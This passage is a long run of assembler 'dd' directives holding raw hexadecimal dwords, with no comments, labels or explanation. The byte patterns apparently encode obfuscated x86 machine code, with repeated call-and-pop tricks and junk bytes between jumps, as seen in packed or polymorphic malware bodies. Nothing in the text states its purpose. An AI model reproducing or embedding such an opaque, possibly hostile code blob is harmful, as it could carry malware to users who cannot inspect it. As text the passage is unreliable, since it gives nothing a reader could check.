0DC000000h, 22188F95h, 24B15EFDh dd 2B658D8Bh, 6A064Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 9C0ED1C3h, 31E9ADDCh, 4E210DB5h dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 5FC0C351h, 1A25C20Eh, 46C578DBh, 0DE82CB3h dd 79000000h, 4BCF4F11h, 9863EC14h, 0DE89B9C8h, 25358D01h dd 8B5B064Eh, 0FDBD83DFh, 64E30h, 87840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0D3ECA4C3h, 897910C7h, 4E2711B5h, 0B806h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0B70FD5C3h, 108D8DD9h, 0F064E4Eh, 681h, 1DBD8B00h, 0F064E08h dd 0E1FFDAB7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 48C35141h, 4F38E649h, 8296026Ch, 5DBD83F6h, 64E06h dd 421840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0E985DCC3h, 0BF7CB3FFh, 14E9h, 0F543E300h dd 4CD19BA1h, 3E0811A8h, 66C6C02Ah, 4B03A0F9h, 90BB6638h dd 5DBD83B2h, 1064E06h, 3F0840Fh, 0BD830000h, 64E065Dh dd 0AD860F03h, 89000003h, 4E19AD8Dh, 0FE96006h, 9E000000h dd 4C3C8B8Fh, 1A456A5h, 17A91476h, 8C660FFAh, 0D88B66D9h dd 21599D8Bh, 0E180064Eh, 118C0F04h, 0E9000000h, 0Ch, 0A05F5204h dd 7E057269h, 57657EF5h, 840FC90Ah, 161h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 9DC35242h, 0AD7B38B2h dd 21959D8Bh, 0CABF064Eh, 8B74FA8Eh, 4E1B2985h, 3370B306h dd 4E288D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0D88BCBFDh, 8B666090h, 8B5250FEh dd 60310FDFh, 61585A61h, 0F525050h, 28C0F31h, 0B7000000h dd 90585A35h, 6AAEB7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 50C35343h, 39277426h, 7180FCEDh, 0F5750CDh dd 86h, 685F5B00h, 4D247506h, 5E8h, 0A4A4CB00h, 0AE96D6Fh dd 6B000000h, 0B1611256h, 6C4275C5h, 34815B27h, 3B76F924h dd 50006A4Dh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0A9712E4h, 0E45B7D6Bh, 0BD8B538Fh, 64E2241h dd 718D295Fh, 0FF064E0Ah, 4E0BD995h, 0CDB52906h, 89064E2Ah dd 51B12F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0B59D8BCAh, 0E9064E05h, 1A7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 29C35545h, 85F945A7h dd 0B3B601E4h, 27858B05h, 600651B1h, 0C3F3EBBBh, 0BA66512Ah dd 615E2B1Fh, 1800C7h, 0BF660000h, 4CB3C6CCh, 0B12BB58Bh dd 6A0651h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0A7CDA6C3h, 0FEB70FA9h, 300D858Bh, 9509064Eh dd 64E100Dh, 0CA89A1BFh, 6A06894Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7B1C355h dd 89FE8B66h, 4E327185h, 80605606h, 0C68171CEh, 98A6DCCh dd 858B5B61h, 64E1B29h, 149D8589h, 4689064Eh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B61236Ah, 4E2605BDh, 1DBD0B06h, 96064E0Ah, 0E9F9BF66h dd 968DB350h, 0FFDEB70Fh, 51B127B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 73F1EC42h dd 8B0874D1h, 286866F7h, 0E9299E4Ch, 5, 1C8CEC0Fh, 243481EBh dd 29814FD7h, 8D5FF853h, 51B12F85h, 759D8B06h, 90064E30h dd 0BF50F98Bh, 0FC1A727h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0E25E7C44h dd 0BB299189h, 1089272h, 258DBD29h, 95FF064Eh, 64E0BD9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8EC35040h dd 60F86057h, 615F6161h, 8E9h, 37E98D00h, 0DFF4352Eh, 5D85C760h dd 3064E06h, 0E9000000h, 7, 4BE24048h, 83FE8419h, 51B12FBDh dd 840F0006h, 50h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0EAC35040h, 0B8C65A11h, 0BFF95F61h, 8B0F606Bh dd 0 dd 0DE9h, 179C7700h, 0AE829ED7h, 5CB4ADC9h, 961C29Bh, 4E13598Dh dd 21E906h, 0BD290000h, 64E1379h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 1826C352h, 299D3103h, 9064E04h, 4E2ABDBDh, 0CD9D0306h dd 83064E19h, 4E065DBDh, 850F0306h, 3E0h, 58D0Fh, 81660000h dd 8355E0EBh, 51B12FBDh, 840F0006h, 3C8h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 65C35040h, 0CE89A0Dh dd 97000000h, 1D2CE819h, 0E3CAD01h, 5B4A5561h, 0B12FB5FFh dd 6A0651h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 162D95C3h, 37595FFh, 6A064Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 4273CCC3h dd 0BD8B678Ah, 64E05C1h, 0B123B58Bh, 0DF810651h, 16D1ADA7h dd 106C7h, 9D8B0001h, 64E0F19h, 0E8968BB3h, 13h, 1A14C917h dd 7802C6D4h, 8174F882h, 7E72F8F0h, 0BFE54244h, 396CCDAFh dd 0BB66505Bh, 6696FB87h, 0C12ADB81h, 0B5FFF98Bh, 651B12Fh dd 8559D8Bh, 95FF064Eh, 64E2901h, 6890Fh, 9D030000h, 64E1149h dd 0B123B58Bh, 858B0651h, 64E0F35h, 21959D89h, 8689064Eh dd 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0B4C35141h, 9149ED74h, 68747169h, 8DBD8B2Eh, 0E9064E2Ah dd 11h, 0F06F71B2h, 6B92F366h, 715FE925h, 0E401C212h, 5958B0Dh dd 81064E2Bh, 15435CEBh, 4C2830Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 38C35646h, 892E4024h, 4E264D85h dd 20508906h, 8166FE8Ah, 8D0B49D3h, 51C53D85h, 0B1852906h dd 89064E12h, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 39BD8B4Ah, 0F064E0Dh dd 68Fh, 959D8B00h, 6A064E13h, 0D2BF6600h, 2FB5FF3Ah, 90651B1h dd 4E1B49BDh, 595FF06h, 96064E1Ah, 0E850DF8Bh, 12h, 24C526D3h dd 862A2CBFh, 4F01AF60h, 4B9B533Fh, 8B66EC90h, 6A965FD8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 40FCC356h, 860Fh, 9D090000h, 64E1F2Dh, 0B12FB5FFh dd 81660651h, 0FFDE7DE7h, 4E05A195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 9BD8369h, 64E15h dd 34840Fh, 81530000h, 0B08771CBh, 96F55B77h, 8B50D98Bh dd 6A96D9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 1C1D09C3h, 6F4F318Ah, 0B5FF8CAEh, 651B12Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 46C35242h dd 9F296F60h, 0FFBA7716h, 4E25D995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 2A9E2F4Eh dd 0EE264AA0h, 0B5FFB0BCh, 651B12Fh, 0BE9h, 0F7B3E800h dd 678CC5FEh, 0D266A126h, 250D95FFh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 5006B8C3h dd 31BD8349h, 2064E15h, 92840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 273E4FC3h dd 0C024B893h, 13E9F9h, 0DB1D0000h, 0BCF261B5h, 360C10D4h dd 9DCC2281h, 55B80A32h, 25858B4Bh, 6A064E29h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0F971C353h, 8B12CC09h, 4E2965BDh, 0C606h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 81C35646h, 4BE5033Ah dd 9D03F1EAh, 64E0775h, 121D85C7h, 64Eh, 9D8B0000h, 64E1045h dd 0FFF3EFE9h, 48D0FFFh, 66000000h, 8BC8E6BBh, 61858DC1h dd 6A064E10h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 2D0BC355h, 71578E3Ch, 0BFF93E9Ah dd 2395FBD5h, 0D850F50h, 0E9000000h, 8, 0CF210316h, 57B86C0Dh dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C536C357h, 35B58934h, 6A064E13h dd 3DB52900h, 6A064E1Bh, 0FE8B6000h, 0CE8h, 38096D00h dd 0DA368798h, 0C9E3DD14h, 615BFCC8h, 6F00858Dh, 6A0652h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 4349AFC3h, 7BF963DBh, 6890Fh, 0B5290000h, 64E2C2Dh dd 4880Fh, 0BB660000h, 0C0834B4Dh, 9BF6605h, 9E85035h dd 64000000h, 0F3BD38D4h, 0C7956493h, 2404895Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C35646h, 0D786BBA4h dd 29299D2Bh, 6A064Eh, 7E9h, 0C255A900h, 571CF8DAh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 6EFD72C3h, 221DBF5Bh, 6044CA10h, 0EA18D89h, 858B064Eh dd 64E1041h, 8595FF61h, 8D064E08h, 51AF498Dh, 5D9D8906h dd 0FF064E1Bh, 51006AD1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 831F3CACh, 4E2649BDh dd 850F0106h, 2Ah, 0C781026Ah, 7320390Ch, 28E0F90h, 8B000000h dd 890F50F9h, 0 dd 959D8990h, 0FF064E21h, 4E1A0595h, 9381BB06h, 0F6E94EDCh dd 0E800000Dh, 0 dd 0AED815Dh, 8106526Fh, 0ED4806EBh, 0A9858D63h, 66065192h dd 8100E781h, 10E85090h, 70000000h, 72CCE960h, 6C62104Ah dd 5ECC7547h, 8BEC5472h, 6A905BD9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D81C350h dd 0E60903FEh, 67D2A678h, 0D61BD89h, 0BD8B064Eh, 64E0795h dd 35FF64h, 89000000h, 4E02DDBDh, 25896406h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3DC35545h dd 78E8D59Ch, 0FFFE8B48h, 4E08D585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0E95D563h dd 0B850Fh, 8C0F0000h, 5, 9FC975BBh, 0DE8B6679h, 6AFF6Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 2FEC80C3h, 81677A2Ch, 8AD244EBh, 1DBD8B24h, 0FF064E0Eh dd 4E2F79B5h, 0DF816606h, 95FF0A5Bh, 64E1B0Dh, 12DE9h dd 119D8B00h, 0B0064E15h, 0F42ABB00h, 70E61F06h, 5B13B352h dd 0F98B71E4h, 830F613Ch, 10Eh, 0A1E6C381h, 0B60F2BDBh dd 3DB531C8h, 0BA064E21h, 6, 815CD780h, 0CCD023DBh, 66C18B0Dh dd 2612CF81h, 0E904E8C1h, 12h, 0BA8854BEh, 0A683E6A2h dd 7B3E3B3Bh, 5E97867Bh, 0F7666EABh, 13E9E2h, 8C480000h dd 1AB9EB98h, 6A794347h, 0C8173718h, 2E4639BEh, 0FC82B56h dd 68Dh, 0DBD8B00h, 8B064E16h, 0A5BD8BD1h, 0E9064E06h dd 6, 26D5B509h, 858B064Eh, 64E1151h, 0C083DD8Ah, 515BF07h dd 0C0830176h, 0E9BD2B00h, 3B064E2Ch, 24830FD0h, 0E9000000h dd 12h, 9F9E4A08h, 0DDE61475h, 24BD9B4Dh, 0DC18337h, 57E924BEh dd 50000000h, 25EDBD03h, 8B5F064Eh, 4E22698Dh, 8E906h dd 48980000h, 5D64DB66h, 0E18306E2h, 33840F01h, 80000000h dd 0A58349C3h, 64E2269h, 0D19D89FEh, 0F064E15h, 68Eh, 0F58D8900h dd 89064E14h, 4E115195h, 7E906h, 39C70000h, 0A7C270CDh dd 0E9D4h, 0B58D0000h, 651F00Fh, 14704ABBh, 0F006A7Ah dd 0D81h, 858B6000h, 64E0561h, 0EDDB8166h, 95FF6113h, 64E1A59h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 51C35343h dd 719D8BC2h, 0B9064E12h, 88Fh, 0ADD9BF66h, 0FCFCE183h dd 14D0EF81h, 0C02B6F77h, 0BAFCh, 0ADF90000h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 7C41C355h, 0C68246A5h dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 57673366h, 5958BE0h, 6A064E2Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 5F69C352h, 3ED0DCF1h, 5FF88A50h, 2B658D8Bh, 6A064Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0D368DFC3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 81665818h, 34B05E7h, 4E0C09BDh, 0FDBD8306h, 64E30h dd 80840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0B8FC09C3h, 0 dd 0EB1BD8Bh, 8D8D064Eh, 64E4E10h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0A8C35040h, 667E8878h, 9D89DF8Bh dd 64E1731h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 6DA10FC3h, 0A7731F43h, 663349BFh dd 0BD83FB8Bh, 64E065Dh, 0E6840F00h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 400DC355h, 8CB9A531h, 8529EEBBh, 64E2605h, 65DBD83h dd 0F01064Eh, 4CB84h, 0AE800h, 9C650000h, 0D733D67Dh, 0A11AAB0Ah dd 5DBD835Bh, 3064E06h, 478860Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0EBCEC0C3h dd 8B66F627h, 958951DAh, 64E2F75h, 9D0B605Fh, 64E2235h dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0E7C8C351h, 0A6D9C003h, 4E18021h dd 0FC90AF9h, 12984h, 0A1B50100h, 8B064E2Ah, 4E1B2985h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 9C5DC6B9h, 880F60h, 0FC000000h, 0B7EB8161h dd 331FE80Ch, 4E288D85h, 499D3306h, 50064E10h, 930ECABFh dd 24048916h, 20F99D8Bh, 6A064Eh, 8820Fh, 81510000h, 4B04BCDBh dd 4E85B30h, 0FF000000h, 0E9001F03h, 10h, 436DA10Fh, 0BFA7731Fh dd 0D3B03349h, 2CB7D08Bh, 24448B50h, 74BF6604h, 8A008B58h dd 244489DEh, 58FA8A04h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0F8C35040h, 0F40CAEEFh, 0F5DE3E54h, 539B589h dd 9589064Eh, 64E1341h, 0BD995FFh, 6A064Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F6CE65C3h dd 48EA90F9h, 6637C9C8h, 8589F88Bh, 651B12Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5DC35747h, 154AB9BBh dd 0E94668FCh, 261h, 0CD3F381h, 858B2F8Dh, 651B127h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5BC35343h, 0C7D671h dd 18h, 91B2D4BBh, 2BB58B1Fh, 6A0651B1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B60C352h dd 0FB54B3Eh, 38Bh, 0FA8B6600h, 300D858Bh, 6A064Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 4B9540C3h, 37D5553Ah, 9EEF80CAh, 9ADBD89h, 689064Eh dd 2CB2BB66h, 1B29858Bh, 0BD8B064Eh, 64E1575h, 6A044689h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 507FC350h, 5F6B25BBh, 24348978h, 0B127B5FFh dd 6A0651h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 33F857C3h, 4E2AC59Dh, 4E806h, 3FF0000h, 0E860001Fh dd 13h, 0BEEB5738h, 0DBA0217Ah, 0F1C840AEh, 70412F77h dd 0B9A1FBF6h, 668DB3DCh, 0F52505Fh, 87h, 0E9310F00h, 5 dd 9EA1EEC5h, 61585AA4h, 8E86050h, 52000000h, 8543B374h dd 60F58BD6h, 12E95961h, 54000000h, 64D042B1h, 480EC5F0h dd 317FCE0Ch, 0F90C292Ah, 448B61DEh, 8B0424h, 89FA8B66h dd 0BB042444h, 48251B55h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 65AD161h, 0EE952E2h dd 0C0000000h, 179FB02Fh, 5DC21660h, 0ED7C7A0h, 0F3815FCAh dd 6CC80EDAh, 0B12F858Dh, 0D88A0651h, 285DBD8Bh, 0E990064Eh dd 5, 8B0DBCC1h, 605050BAh, 0FE85B57h, 36000000h, 0DB8A0E97h dd 0FCCCF348h, 55FDE3F1h, 61599BFEh, 6A905Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C547FCC3h dd 82FF728Bh, 0E957CE05h, 14h, 32A40981h, 674E856Bh, 83865F48h dd 59EFB906h, 994B62A9h, 0D995FF5Fh, 6A064E0Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0AA41C357h, 0CDA16FA8h, 9E8h, 0E9804400h, 2E012C2Ch dd 8D89B41Fh, 64E1385h, 6A615Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 40D5C4C3h, 375E4BA9h dd 7595290Dh, 0C7064E0Bh, 4E065D85h, 306h, 0BD83FC00h dd 651B12Fh, 4F840F00h, 66000000h, 62E9DE8Bh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 49C350h, 48CFB635h, 13E8B7h, 0B2050000h dd 98BBF630h, 249BCEB0h, 0EC226185h, 15F3BFD1h, 816656EBh dd 5FD797D7h, 2A4BB5Fh, 30500BD2h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0C58501C0h, 23064E29h dd 4E1A159Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 8585011Eh, 83064E0Fh, 4E065DBDh dd 850F0306h, 439h, 0B12FBD83h, 0F000651h, 42C84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 619D8BB7h, 0FF064E0Dh, 51B12FB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0E9BD33D4h dd 29064E26h, 4E0B3D8Dh, 7595FF06h, 6A064E03h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0A454C355h, 23D7025Fh, 0F88B66FCh, 2145BD89h, 0B58B064Eh dd 651B123h, 4DE3D381h, 6C76097h, 10001h, 2AFDBD0Bh, 0BB96064Eh dd 701629E7h, 6E950h, 0DAD10000h, 34C1F835h, 7D958996h dd 89064E18h, 4E108985h, 2FB5FF06h, 8B0651B1h, 4E05FD9Dh dd 195FF06h, 6A064E29h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 55CC353h, 89D86438h dd 4E02A9BDh, 23B58B06h, 6A0651B1h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 56F1C355h dd 9D891C88h, 64E24C5h, 0F35858Bh, 6A064Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A3DAAFC3h dd 6637247h, 68C0F99h, 8B000000h, 4E313D9Dh, 9BB7BF06h dd 86894E98h, 0C4h, 8B43E780h, 4E2B0595h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0F12583BBh, 8E9h, 3038F100h, 0FB420A7Ch, 4C2831Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1CC35747h, 205089FAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E7C35040h dd 9260734Ah, 8BDE4ECAh, 4E2A519Dh, 3D858D06h, 6A0651C5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 8EA6C351h, 5057A119h, 0B886895Fh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 13E0C352h, 9B10998Dh, 0C62C9B16h dd 9E9h, 0AD13100h, 530F785h, 9D2B74B4h, 64E0545h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 6C0CA6C3h, 8E95249h, 87000000h, 868A5BBBh, 0FFA202C0h dd 51B12FB5h, 95FFFC06h, 64E1A05h, 0D9B75096h, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 81DCD02Ah, 6AA4C188h, 0E99D8B85h, 0FF064E05h, 51B12FB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 49BD8B02h, 0F064E06h, 684h, 359D8B00h, 31064E0Bh dd 4E2541BDh, 0A195FF06h, 0E9064E05h, 0Fh, 43B5ED28h, 865B6767h dd 558EAA77h, 83B1EFC1h, 4E1509BDh, 840F0006h, 16h, 6800Fh dd 0EF810000h, 25B8AB29h, 24348950h, 1031BD89h, 0B5FF064Eh dd 651B12Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 3AC35343h, 61E4E552h, 2AE99D8Bh, 95FF064Eh, 64E25D9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E2C35646h dd 35FA25E2h, 825E818h, 3FBB6672h, 12E99Bh, 0B1530000h dd 0B8EB4987h, 7F77414Ch, 2C482E60h, 8E8DA67Dh, 0B12FB5FFh dd 6A0651h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0E22BF8C3h, 7DBD0B94h, 0FF064E25h, 4E250D95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0E4F1F7CCh, 0A2BC60FDh, 35BF6688h, 31BD83D1h dd 2064E15h, 1F840Fh, 69BB0000h, 8B0C15A3h, 4E292585h dd 0C606h, 0CE9h, 406A7100h, 79193634h, 0AA9200F0h, 1D85C7DBh dd 64E12h, 8B000000h, 4E15A59Dh, 0F33AE906h, 6AFFFFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 650019C3h, 196865F9h, 2B3EE8EBh, 4E1239BDh, 60C18B06h dd 2561958Bh, 10E8064Eh, 99000000h, 60319586h, 803960A0h dd 0F90A9D94h, 0E9196CFCh, 7, 0AF41D4BBh, 589FDD58h, 61858D61h dd 6A064E10h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 6F98C357h, 6860F91h, 2B000000h dd 4E1015BDh, 4895006h, 65BD8B24h, 6A064E30h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 559D8BB7h, 6A064E04h, 0C99D0100h, 8D064E2Fh, 527EE885h dd 0C2DB8106h, 836B2566h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 50218AC3h, 0F381981Ah dd 3D3BB88Ch, 628EBB90h, 6650537Eh, 90361CBBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 17C35747h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 364F82C3h, 75317092h, 0D9B70F16h, 6860Fh, 9D890000h dd 64E2605h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 6F09DAC3h, 0BDBD89F8h, 66064E1Fh dd 188CDB81h, 1405BD8Bh, 95FF064Eh, 64E0885h, 31B9BD89h dd 8D8D064Eh, 651AF49h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 36C35545h, 0BF66FFE1h, 0D1FF7B93h, 0BCF78166h dd 49BD83E3h, 1064E26h, 7C850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 63873BC3h dd 0AE41C505h, 5050026Ah, 0C1B96052h, 0E943473Ch, 7, 45D513C8h dd 61FFEF2Fh, 880F310Fh, 4, 0D896BF66h, 489585Ah, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 8BD08FDDh, 635F0B1Fh, 95FFFC9Dh, 64E1A05h, 2AB59589h dd 8AE9064Eh, 0E800000Dh, 0 dd 0F2ED815Dh, 2906527Eh, 4E2B8985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 3E89D9EDh dd 0EDDDC639h, 6820F58h, 89000000h, 4E318DB5h, 0A9858D06h dd 6A065192h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CC89C351h, 4FD79E92h, 0C380DB35h dd 0EB75005h, 57240489h, 0A5BB6653h, 645B5F97h, 35FFh dd 0DF8B0000h, 258964h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7402C351h dd 404DA063h, 601F8D71h, 22359D8Bh, 8C0F064Eh, 6, 2D418509h dd 6661064Eh, 85FFD98Bh, 64E08D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0FFC35747h, 618FD489h, 6AFF6A84h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 899AC350h, 4E077D8Dh, 3D9D0306h, 0FF064E1Bh dd 4E0B15B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0BF9E6ACFh, 898D46E6h, 4E2CF58Dh dd 0D95FF06h, 0E9064E1Bh, 132h, 611BD2Bh, 0B0064Eh, 0B6B7F8B3h dd 12E970E6h, 25000000h, 0A661A1BBh, 2EBE3779h, 0B917BEFEh dd 6B99F6AEh, 6671E45Ah, 0E94C98BBh, 0Eh, 689537D6h, 92254A69h dd 8DB2705Dh, 613CC762h, 0EC830Fh, 0B60F0000h, 0BAFE8AC8h dd 6, 3CB5F781h, 0C18B213Dh, 16898D89h, 0E8C1064Eh, 400CBF04h dd 0F7665429h, 0A19D23E2h, 2B064E08h, 6E9C8h, 6610000h dd 0E3D5397Fh, 6651D18Bh, 3FDADF81h, 25BD8B5Bh, 0E9064E0Ch dd 0 dd 2559858Bh, 9D8B064Eh, 64E220Dh, 6607C083h, 554BE381h dd 900C083h, 4E0A8585h, 0FD03B06h, 3183h, 8B605700h, 4E30F995h dd 598D2906h, 61064E05h, 68E95Fh, 74BB0000h, 0E83E642Ah dd 0Bh, 